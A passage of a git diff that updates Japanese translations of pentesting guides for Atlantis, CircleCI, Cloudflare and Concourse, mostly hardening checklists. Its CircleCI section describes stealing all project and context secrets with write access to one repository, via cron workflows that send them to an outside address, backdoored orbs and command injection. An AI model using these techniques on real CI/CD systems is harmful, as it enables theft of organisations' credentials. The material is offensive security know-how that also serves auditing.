[サーバー側リポジトリ設定](https://www.runatlantis.io/docs/server-side-repo-config.html)の`plan`ステップを修正して、許可されていないプロバイダーやデータソース、許可されていないユーザーからのPRの使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan`を続行する前にPRに「いいね」を要求することです。Conftestが役立つかもしれません。 +1. プロバイダーを Atlantis イメージに組み込むか、ホストして、プロダクションでの出口を拒否します。 +2. プロバイダー レジストリ プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、レジストリへの書き込みアクセスを誰が持っているかを制御できます。 +3. [サーバー側リポジトリ構成](https://www.runatlantis.io/docs/server-side-repo-config.html)の `plan` ステップを変更して、許可されていないプロバイダーやデータソース、許可されていないユーザーからの PR の使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan` を続行する前に PR に「いいね」を要求することです。Conftest が役立つかもしれません。 -#### Webhook Secrets +#### Webhook シークレット -Atlantisは、`$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`環境変数を介してWebhook secretsを設定して実行する必要があります。`--repo-allowlist`フラグが設定されていても、webhook secretがないと、攻撃者は許可リストに載っているリポジトリを装ってAtlantisにリクエストを送信することができます。Webhook secretsは、webhookリクエストが実際にあなたのVCSプロバイダー(GitHubまたはGitLab)から来ていることを保証します。 +Atlantis は、`$ATLANTIS_GH_WEBHOOK_SECRET` / `$ATLANTIS_GITLAB_WEBHOOK_SECRET` 環境変数を介して Webhook シークレットを設定して実行する必要があります。`--repo-allowlist` フラグが設定されていても、Webhook シークレットがない場合、攻撃者は許可リストにあるリポジトリを装って Atlantis にリクエストを送信することができます。Webhook シークレットは、Webhook リクエストが実際にあなたの VCS プロバイダー(GitHub または GitLab)から来ていることを保証します。 -Azure DevOpsを使用している場合、webhook secretsの代わりに基本的なユーザー名とパスワードを追加してください。 +Azure DevOps を使用している場合、Webhook シークレットの代わりに基本的なユーザー名とパスワードを追加してください。 -#### Azure DevOps Basic Authentication +#### Azure DevOps ベーシック認証 -Azure DevOpsは、すべてのwebhookイベントで基本認証ヘッダーを送信することをサポートしています。これには、webhookの場所にHTTPS URLを使用する必要があります。 +Azure DevOps は、すべての Webhook イベントで基本認証ヘッダーを送信することをサポートしています。これには、Webhook の場所に HTTPS URL を使用する必要があります。 #### SSL/HTTPS -webhook secretsを使用しているが、トラフィックがHTTPの場合、webhook secretsが盗まれる可能性があります。`--ssl-cert-file`および`--ssl-key-file`フラグを使用してSSL/HTTPSを有効にしてください。 +Webhook シークレットを使用しているが、トラフィックが HTTP 上にある場合、Webhook シークレットが盗まれる可能性があります。`--ssl-cert-file` および `--ssl-key-file` フラグを使用して SSL/HTTPS を有効にしてください。 -#### Enable Authentication on Atlantis Web Server +#### Atlantis Web サーバーでの認証を有効にする -Webサービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true`を使用してBasicAuthを有効にし、`--web-username=yourUsername`および`--web-password=yourPassword`フラグを使用してユーザー名とパスワードを設定します。 +Web サービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true` を使用して BasicAuth を有効にし、`--web-username=yourUsername` および `--web-password=yourPassword` フラグを使用してユーザー名とパスワードを設定します。 -これらを環境変数`ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername`および`ATLANTIS_WEB_PASSWORD=yourPassword`として渡すこともできます。 +これらを環境変数 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` および `ATLANTIS_WEB_PASSWORD=yourPassword` として渡すこともできます。 -### References +### 参考文献 - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs) - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 1205d399f..f54aee19e 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -4,26 +4,26 @@ ### 基本情報 -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す **テンプレート** を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば **リポジトリのマスターブランチ** から直接 **テスト** や **デプロイ** を **自動化** できます。 +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す**テンプレート**を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば**リポジトリのマスターブランチ**から直接**テスト**や**デプロイ**を**自動化**できます。 ### 権限 -**CircleCI** は、ログインする **アカウント** に関連する github および bitbucket から **権限を継承** します。\ -私のテストでは、**github のリポジトリに対する書き込み権限** があれば、**CircleCI でプロジェクト設定を管理** できることを確認しました(新しい ssh キーの設定、プロジェクト API キーの取得、新しい CircleCI 設定での新しいブランチの作成など)。 +**CircleCI**は、ログインする**アカウント**に関連するgithubおよびbitbucketから**権限を継承**します。\ +私のテストでは、**githubのリポジトリに対する書き込み権限**があれば、**CircleCIでのプロジェクト設定を管理**できることを確認しました(新しいsshキーの設定、プロジェクトのapiキーの取得、新しいCircleCI設定での新しいブランチの作成など)。 -ただし、**CircleCI プロジェクトにリポジトリを変換** するには、**リポジトリ管理者** である必要があります。 +ただし、**CircleCIプロジェクトにリポジトリを変換する**には、**リポジトリ管理者**である必要があります。 ### 環境変数と秘密情報 -[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/) によると、ワークフロー内で **環境変数に値をロードする** 方法はいくつかあります。 +[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/)によると、ワークフロー内で**環境変数に値をロードする**方法はいくつかあります。 #### 組み込み環境変数 -CircleCI によって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、または `CIRCLE_USERNAME` のような [**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) が常に存在します。 +CircleCIによって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、`CIRCLE_USERNAME`のような[**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)が常にあります。 #### プレーンテキスト -**コマンド** 内でプレーンテキストとして宣言できます: +**コマンド**内でプレーンテキストとして宣言できます: ```yaml - run: name: "set and echo" @@ -39,7 +39,7 @@ command: echo $SECRET environment: SECRET: A secret ``` -**build-job 環境**内に明示的に宣言できます: +**build-job 環境**内に明示的に宣言できます: ```yaml jobs: build-job: @@ -48,7 +48,7 @@ docker: environment: SECRET: A secret ``` -**コンテナの環境**内に明示的に宣言できます: +コンテナの**環境**内に明示的に宣言できます: ```yaml jobs: build-job: @@ -90,7 +90,7 @@ SECRET: A secret #### プロジェクトの秘密を抽出 > [!WARNING] -> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出する**には、**全体のgithub組織内の**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます(_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_)。 +> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出**するには、**全体のgithub組織の中で**たった**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます(_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_)。 > [!CAUTION] > "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。したがって、攻撃者は**すべてのリポジトリからすべてのプロジェクト変数をインポート**し、その後**すべてを一緒に抽出**することができます。 @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合は、**毎分トリガーされるワークフローを作成**し、**外部アドレスに秘密を流出させる**ことができます: +ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**作成**し、**外部アドレスに秘密を流出させる**ことができます: ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフローを修正**し、**外部アドレスに秘密を流出させる**ことができます: +ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**修正**し、**外部アドレスに秘密を流出させる**ことができます: ```yaml version: 2.1 @@ -196,10 +196,10 @@ context: Test-Context #### クラウドへのエスケープ -**CircleCI** は **ビルドを自分のマシンまたは彼らのマシンで実行するオプションを提供します**。\ -デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン(潜在的にはクラウド環境)でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。 +**CircleCI** は **あなたのビルドを彼らのマシンまたはあなた自身のマシンで実行するオプションを提供します**。\ +デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン(潜在的にクラウド環境で)でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。 -前の例ではすべてが docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**(異なるクラウド権限を持つ可能性があります): +前の例ではすべてが Docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**(異なるクラウド権限を持っている可能性があります): ```yaml jobs: exfil-env: @@ -208,7 +208,7 @@ exfil-env: machine: image: ubuntu-2004:current ``` -リモートのdockerサービスにアクセスできるdockerコンテナでも: +リモートDockerサービスにアクセスできるDockerコンテナでも。 ```yaml jobs: exfil-env: @@ -227,8 +227,8 @@ version: 19.03.13 - _https://app.circleci.com/settings/project/github/\/\/api_ - プロジェクトに**SSHキーを追加**することが可能です。 - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- 予期しないプロジェクトの**隠れたブランチにcronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。 -- あるいは、ブランチで作成したり、既知のジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることもできます。 +- 予期しないプロジェクトの隠れたブランチに**cronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。 +- あるいは、ブランチで作成したり、知られているジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることができます。 - GitHubのオーナーであれば、**未確認のオーブを許可**し、ジョブに**バックドア**として設定することができます。 - 一部のタスクで**コマンドインジェクションの脆弱性**を見つけ、**秘密**の値を変更して**コマンドを注入**することができます。 diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index af7d3ff11..753a69860 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Cloudflareアカウントには、設定可能な**一般設定とサービス**があります。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。 +Cloudflareアカウントには、設定できるいくつかの**一般設定とサービス**があります。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
@@ -16,7 +16,7 @@ cloudflare-domains.md ### Domain Registration -- [ ] **`Transfer Domains`**で、ドメインを転送できないことを確認します。 +- [ ] **`Transfer Domains`** で、ドメインを転送できないことを確認します。 各項目を確認してください: @@ -32,27 +32,27 @@ _設定のセキュリティレビューのために確認できるものは見 各Cloudflareのページで: -- [ ] **`Build log`**に**機密情報**がないか確認します。 +- [ ] **`Build log`** に**機密情報**がないか確認します。 - [ ] ページに割り当てられた**Githubリポジトリ**に**機密情報**がないか確認します。 -- [ ] **workflow command injection**または`pull_request_target`の侵害による潜在的なgithubリポジトリの侵害を確認します。詳細は[**Github Security page**](../github-security/)を参照してください。 +- [ ] **workflow command injection**や`pull_request_target`の妥協を通じて、潜在的なgithubリポジトリの妥協を確認します。詳細は[**Github Security page**](../github-security/)を参照してください。 - [ ] `/fuctions`ディレクトリ内の**脆弱な関数**を確認し(あれば)、`_redirects`ファイル内の**リダイレクト**(あれば)と`_headers`ファイル内の**誤設定されたヘッダー**(あれば)を確認します。 - [ ] **コードにアクセス**できる場合、**blackbox**または**whitebox**を通じて**ウェブページ**の**脆弱性**を確認します。 -- [ ] 各ページの詳細`//pages/view/blocklist/settings/functions`で、**`Environment variables`**に**機密情報**がないか確認します。 -- [ ] 詳細ページで、**ビルドコマンド**と**ルートディレクトリ**に**潜在的なインジェクション**がないか確認します。 +- [ ] 各ページの詳細 `//pages/view/blocklist/settings/functions` で、**`Environment variables`**に**機密情報**がないか確認します。 +- [ ] 詳細ページで、**ビルドコマンド**と**ルートディレクトリ**に**潜在的なインジェクション**がないかも確認します。 ## **Workers** 各Cloudflareのワーカーで確認します: -- [ ] トリガー:ワーカーをトリガーするのは何ですか?**ユーザーがデータを送信**して、ワーカーで**使用される**可能性はありますか? -- [ ] **`Settings`**で、**機密情報**を含む**`Variables`**を確認します。 +- [ ] トリガー:ワーカーをトリガーするのは何ですか?**ユーザーがデータを送信**でき、それがワーカーによって**使用される**可能性はありますか? +- [ ] **`Settings`** で、**機密情報**を含む**`Variables`**を確認します。 - [ ] **ワーカーのコード**を確認し、**脆弱性**を探します(特にユーザーが入力を管理できる場所で)。 - 指定されたページを返すSSRFを確認します。 - svg画像内でJSを実行するXSSを確認します。 -- ワーカーが他の内部サービスと相互作用する可能性があります。たとえば、ワーカーは入力から取得した情報を格納するR2バケットと相互作用する場合があります。その場合、ワーカーがR2バケットに対してどのような権限を持っているか、ユーザー入力からどのように悪用される可能性があるかを確認する必要があります。 +- ワーカーが他の内部サービスと相互作用する可能性があります。たとえば、ワーカーが入力から取得した情報を格納するR2バケットと相互作用する場合があります。その場合、ワーカーがR2バケットに対してどのような権限を持ち、ユーザー入力からどのように悪用される可能性があるかを確認する必要があります。 > [!WARNING] -> デフォルトでは、**WorkerにはURL**が与えられます。例:`..workers.dev`。ユーザーは**サブドメイン**に設定できますが、知っていればその**元のURL**で常にアクセスできます。 +> デフォルトでは、**ワーカーにはURL**が与えられます。例:`..workers.dev`。ユーザーは**サブドメイン**に設定できますが、その**元のURL**を知っていれば常にアクセスできます。 ## R2 @@ -70,8 +70,8 @@ TODO ## Security Center -- [ ] 可能であれば、**`Security Insights`**スキャンと**`Infrastructure`**スキャンを実行してください。これにより、**セキュリティ**に関する興味深い情報が**強調表示**されます。 -- [ ] セキュリティの誤設定や興味深い情報について**この情報**を確認してください。 +- [ ] 可能であれば、**`Security Insights`** **スキャン**と**`Infrastructure`** **スキャン**を実行してください。これにより、**セキュリティ**に関する興味深い情報が**強調表示**されます。 +- [ ] セキュリティの誤設定や興味深い情報について、この情報を**確認**してください。 ## Turnstile @@ -86,10 +86,10 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)とは異なり、[**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)は本質的に静的です — 文字列置換操作や正規表現を**サポートしません**。ただし、URLのマッチング動作や実行時の動作に影響を与えるURLリダイレクトパラメータを設定できます。 +> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)とは異なり、[**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)は本質的に静的です — 文字列置換操作や正規表現を**サポートしていません**。ただし、URLのマッチング動作やランタイム動作に影響を与えるURLリダイレクトパラメータを設定できます。 -- [ ] **リダイレクトのための**`expressions`**と**`requirements`**が**意味をなしているか確認します。 -- [ ] **機密の隠されたエンドポイント**に興味深い情報が含まれていないかも確認します。 +- [ ] **リダイレクトのための** **expressions**と**requirements**が**意味をなしている**か確認します。 +- [ ] **機密の隠れたエンドポイント**に興味深い情報が含まれていないかも確認します。 ## Notifications @@ -114,13 +114,13 @@ cloudflare-zero-trust-network.md - `Advanced Security Events Alert` - `Security Events Alert` - [ ] すべての**宛先**を確認してください。Webhook URLに**機密情報**(基本的なhttp認証)が含まれている可能性があります。また、Webhook URLが**HTTPS**を使用していることを確認してください。 -- [ ] 追加の確認として、**Cloudflare通知を第三者に偽装**してみることができます。もしかしたら、何らかの方法で**危険なものを注入**できるかもしれません。 +- [ ] 追加の確認として、**Cloudflare通知を第三者に偽装**してみることができます。もしかしたら、何か危険なものを**注入**できるかもしれません。 ## Manage Account -- [ ] **`Billing` -> `Payment info`**で、**クレジットカードの最後の4桁**、**有効期限**、および**請求先住所**を見ることができます。 -- [ ] **`Billing` -> `Subscriptions`**で、アカウントで使用されている**プランタイプ**を見ることができます。 -- [ ] **`Members`**で、アカウントのすべてのメンバーとその**役割**を見ることができます。プランタイプがEnterpriseでない場合、2つの役割(AdministratorとSuper Administrator)のみが存在します。しかし、使用されている**プランがEnterprise**の場合、[**より多くの役割**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)が使用でき、最小権限の原則に従うことができます。 +- [ ] **`Billing` -> `Payment info`** で**クレジットカードの最後の4桁**、**有効期限**、および**請求先住所**を見ることができます。 +- [ ] **`Billing` -> `Subscriptions`** でアカウントで使用されている**プランタイプ**を見ることができます。 +- [ ] **`Members`** でアカウントのすべてのメンバーとその**役割**を見ることができます。プランタイプがEnterpriseでない場合、2つの役割(AdministratorとSuper Administrator)のみが存在します。ただし、使用されている**プランがEnterprise**の場合、[**より多くの役割**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)が使用でき、最小権限の原則に従うことができます。 - したがって、可能な限り**Enterpriseプラン**を使用することが**推奨**されます。 - [ ] メンバーで**2FAが有効**になっている**メンバー**を確認できます。**すべての**ユーザーは有効にするべきです。 diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index c1e348e92..431dcd086 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -22,9 +22,9 @@ Cloudflareに設定された各TLDには、いくつかの**一般設定とサ - [ ] **プロキシされていない**ウェブページを確認する - [ ] CNAMEまたはIPアドレスで**直接アクセス可能な**プロキシ化されたウェブページを確認する - [ ] **DNSSEC**が**有効**であることを確認する -- [ ] **すべてのCNAMEでCNAMEフラッティングが使用されている**ことを確認する +- [ ] **すべてのCNAMEでCNAMEフラッティング**が**使用**されていることを確認する - これは**サブドメインの乗っ取り脆弱性を隠す**のに役立ち、読み込み時間を改善します -- [ ] ドメインが[**スプーフィングに対して脆弱でない**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)ことを確認する +- [ ] ドメインが[**スプーフィングに対して脆弱でないこと**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)を確認する ### **メール** @@ -52,7 +52,7 @@ TODO ### **セキュリティ** -- [ ] **`WAF`**セクションでは、**ファイアウォール**と**レート制限ルールが使用されている**か確認することが重要です。 +- [ ] **`WAF`**セクションでは、**ファイアウォール**と**レート制限ルールが使用されているか**確認することが興味深いです。 - **`バイパス`**アクションは、リクエストに対して**Cloudflareのセキュリティ**機能を**無効**にします。使用すべきではありません。 - [ ] **`ページシールド`**セクションでは、ページが使用されている場合は**有効**であることを確認することをお勧めします - [ ] **`APIシールド`**セクションでは、CloudflareでAPIが公開されている場合は**有効**であることを確認することをお勧めします @@ -67,12 +67,12 @@ TODO - 可能であれば、**ボットファイトモード**または**スーパーボットファイトモード**を有効にしてください。プログラム的にアクセスされるAPIを保護している場合(例えば、JSフロントエンドページから)。そのアクセスを壊さずにこれを有効にできないかもしれません。 - **WAF**では、**URLパスによるレート制限**を作成したり、**確認済みボット**に対して(レート制限ルール)、または**IP、クッキー、リファラー**に基づいて**アクセスをブロック**することができます。したがって、ウェブページから来ないリクエストやクッキーを持たないリクエストをブロックできます。 -- 攻撃が**確認済みボット**からの場合、少なくとも**ボットにレート制限を追加**してください。 -- 攻撃が**特定のパス**に対するものであれば、予防策としてそのパスに**レート制限を追加**してください。 +- 攻撃が**確認済みボット**からの場合、少なくとも**ボットに対してレート制限を追加**してください。 +- 攻撃が**特定のパス**に対するものであれば、予防策としてこのパスに**レート制限を追加**してください。 - **ツール**からIPアドレス、IP範囲、国、またはASNを**ホワイトリスト**に追加することもできます。 -- **管理ルール**が脆弱性の悪用を防ぐのに役立つか確認してください。 +- **管理ルール**が脆弱性の悪用を防ぐのに役立つかどうか確認してください。 - **ツール**セクションでは、特定のIPや**ユーザーエージェント**に対して**ブロックまたはチャレンジを与える**ことができます。 -- DDoSでは、**ルールをオーバーライドしてより制限的にする**ことができます。 +- DDoSでは、**いくつかのルールを上書きしてより制限的にする**ことができます。 - **設定**:**セキュリティレベル**を**高**に設定し、**攻撃中**の場合は**攻撃中**に設定し、**ブラウザ整合性チェックが有効**であることを確認してください。 - Cloudflare Domains -> Analytics -> Security -> **レート制限**が有効か確認する - Cloudflare Domains -> Security -> Events -> **検出された悪意のあるイベント**を確認する @@ -111,7 +111,7 @@ TODO ### カスタムページ -- [ ] セキュリティに関連するエラーが発生した場合(ブロック、レート制限、または攻撃中モードなど)にカスタムページを設定することはオプションです +- [ ] セキュリティに関連するエラーが発生した場合(ブロック、レート制限、または攻撃中モードなど)にカスタムページを構成することはオプションです ### アプリ diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index c0795a1ac..1b4ca0f60 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,19 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -**Cloudflare Zero Trust Network** アカウントには、いくつかの **設定とサービス** が構成可能です。このページでは、各セクションの **セキュリティ関連設定** を **分析** します。 +**Cloudflare Zero Trust Network** アカウントには、構成可能な **設定とサービス** があります。このページでは、各セクションの **セキュリティ関連設定** を **分析** します。
### Analytics -- [ ] 環境を **理解するために役立つ** +- [ ] 環境を **理解する** のに役立ちます ### **Gateway** - [ ] **`Policies`** では、アプリケーションにアクセスできるユーザーを **DNS**、**ネットワーク**、または **HTTP** リクエストによって **制限** するポリシーを生成できます。 -- 使用されている場合、**ポリシー**を作成して悪意のあるサイトへのアクセスを **制限** できます。 -- これは **ゲートウェイが使用されている場合のみ関連** します。使用されていない場合、防御的なポリシーを作成する理由はありません。 +- 使用される場合、**ポリシー** を作成して悪意のあるサイトへのアクセスを **制限** できます。 +- これは **ゲートウェイが使用されている場合のみ関連** します。使用されていない場合、防御的ポリシーを作成する理由はありません。 ### Access @@ -22,19 +22,19 @@ 各アプリケーションについて: -- [ ] **誰**がアプリケーションにアクセスできるかを **Policies** で確認し、**アクセスが必要なユーザーのみ**がアプリケーションにアクセスできることを確認します。 -- アクセスを許可するために **`Access Groups`** が使用されます(**追加ルール**も設定可能です)。 -- [ ] **利用可能なアイデンティティプロバイダー**を確認し、**あまりオープンでないこと**を確認します。 +- [ ] **誰** がアプリケーションにアクセスできるかを **Policies** で確認し、**アクセスが必要なユーザーのみ** がアプリケーションにアクセスできることを確認します。 +- アクセスを許可するために **`Access Groups`** が使用され(**追加ルール** も設定可能)、 +- [ ] **利用可能なアイデンティティプロバイダー** を確認し、**あまりオープンでない** ことを確認します。 - [ ] **`Settings`** で: -- [ ] **CORSが有効でないこと**を確認します(有効な場合は、**安全であり、すべてを許可していないこと**を確認します)。 +- [ ] **CORSが有効でないこと** を確認します(有効な場合は、**安全であり、すべてを許可していない** ことを確認します)。 - [ ] クッキーには **Strict Same-Site** 属性、**HTTP Only** が必要で、アプリケーションがHTTPの場合は **binding cookie** を **有効** にする必要があります。 -- [ ] より良い **保護のためにブラウザレンダリング** を有効にすることも検討してください。詳細は [**リモートブラウザアイソレーションについてこちら**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**。** +- [ ] より良い **保護のために** **Browser rendering** を有効にすることも検討してください。**リモートブラウザアイソレーションの詳細は** [**こちら**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**。** #### **Access Groups** - [ ] 生成されたアクセスグループが **正しく制限** されていることを確認します。 -- [ ] **デフォルトのアクセスグループがあまりオープンでないこと**を特に確認することが重要です(**多くの人を許可していないこと**)。デフォルトでは、その **グループ** の誰でも **アプリケーションにアクセス** できるようになります。 -- **EVERYONE** に **アクセス** を与えることや、100% 必要でない限り推奨されない **非常にオープンなポリシー** を設定することが可能であることに注意してください。 +- [ ] **デフォルトのアクセスグループがあまりオープンでない** ことを特に確認することが重要です(**多くの人を許可していない**)。デフォルトでは、その **グループ** の誰でも **アプリケーションにアクセス** できるようになります。 +- **EVERYONE** に **アクセス** を与えることや、**非常にオープンなポリシー** を設定することが可能ですが、100% 必要でない限り推奨されません。 #### Service Auth @@ -50,12 +50,12 @@ TODO ### Logs -- [ ] ユーザーからの **予期しないアクション** を検索できます。 +- [ ] ユーザーからの **予期しないアクション** を検索できます ### Settings -- [ ] **プランタイプ**を確認します。 -- [ ] **クレジットカードの所有者名**、**最後の4桁**、**有効期限**、および **住所** を確認できます。 -- 実際にこのサービスを使用していないユーザーを削除するために、**ユーザーシートの有効期限を追加** することをお勧めします。 +- [ ] **プランタイプ** を確認します +- [ ] **クレジットカードの所有者名**、**最後の4桁**、**有効期限**、および **住所** を確認できます +- [ ] 実際にこのサービスを使用していないユーザーを削除するために **ユーザーシートの有効期限を追加** することを推奨します {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index 4949d59d1..c9fd59e02 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -4,7 +4,7 @@ ## 基本情報 -Concourseは、必要に応じて(時間ベース、何かが発生したときなど)テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**することを可能にします。 +Concourseを使用すると、必要に応じて(時間ベース、何かが発生したときなど)テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**できます。 ## Concourseアーキテクチャ diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 1a6317272..9d326e0a3 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -16,11 +16,11 @@ ATCはConcourseの中心です。**ウェブ UI と API**を実行し、すべ [checker](https://concourse-ci.org/checker.html)の責任は、リソースの新しいバージョンを継続的にチェックすることです。[scheduler](https://concourse-ci.org/scheduler.html)はジョブのビルドをスケジュールする責任があり、[build tracker](https://concourse-ci.org/build-tracker.html)はスケジュールされたビルドを実行する責任があります。[garbage collector](https://concourse-ci.org/garbage-collector.html)は、未使用または古くなったオブジェクト(コンテナやボリュームなど)を削除するためのクリーンアップメカニズムです。 -#### TSA: ワーカー登録 & 転送 +#### TSA: ワーカーの登録 & 転送 TSAは**カスタムビルドのSSHサーバー**であり、[**ワーカー**](https://concourse-ci.org/internals.html#architecture-worker)を[ATC](https://concourse-ci.org/internals.html#component-atc)に安全に**登録**するためだけに使用されます。 -TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。 +TSAは**デフォルトでポート `2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。 **TSAはSSH接続を介してCLIを実装し、**[**これらのコマンド**](https://concourse-ci.org/internals.html#component-tsa)をサポートします。 @@ -28,8 +28,8 @@ TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](h タスクを実行するために、Concourseはワーカーを持つ必要があります。これらのワーカーは[TSA](https://concourse-ci.org/internals.html#component-tsa)を介して**自分自身を登録**し、[**Garden**](https://github.com/cloudfoundry-incubator/garden)と[**Baggageclaim**](https://github.com/concourse/baggageclaim)のサービスを実行します。 -- **Garden**: これは**コンテナ管理API**で、通常は**ポート7777**で**HTTP**を介して実行されます。 -- **Baggageclaim**: これは**ボリューム管理API**で、通常は**ポート7788**で**HTTP**を介して実行されます。 +- **Garden**: これは**コンテナ管理API**で、通常は**ポート 7777**で**HTTP**を介して実行されます。 +- **Baggageclaim**: これは**ボリューム管理API**で、通常は**ポート 7788**で**HTTP**を介して実行されます。 ## References diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 18192223e..f5a03d934 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -11,11 +11,11 @@ Concourse には5つのロールがあります: - _Concourse_ **Admin**: このロールは **メインチーム**(デフォルトの初期 concourse チーム)の所有者にのみ与えられます。管理者は **他のチームを構成**できます(例:`fly set-team`、`fly destroy-team`...)。このロールの権限は RBAC によって影響を受けません。 - **owner**: チームの所有者は **チーム内のすべてを変更**できます。 - **member**: チームメンバーは **チームの資産内で読み書き**できますが、チーム設定を変更することはできません。 -- **pipeline-operator**: パイプラインオペレーターは **パイプライン操作**(ビルドのトリガーやリソースのピン留めなど)を実行できますが、パイプライン設定を更新することはできません。 -- **viewer**: 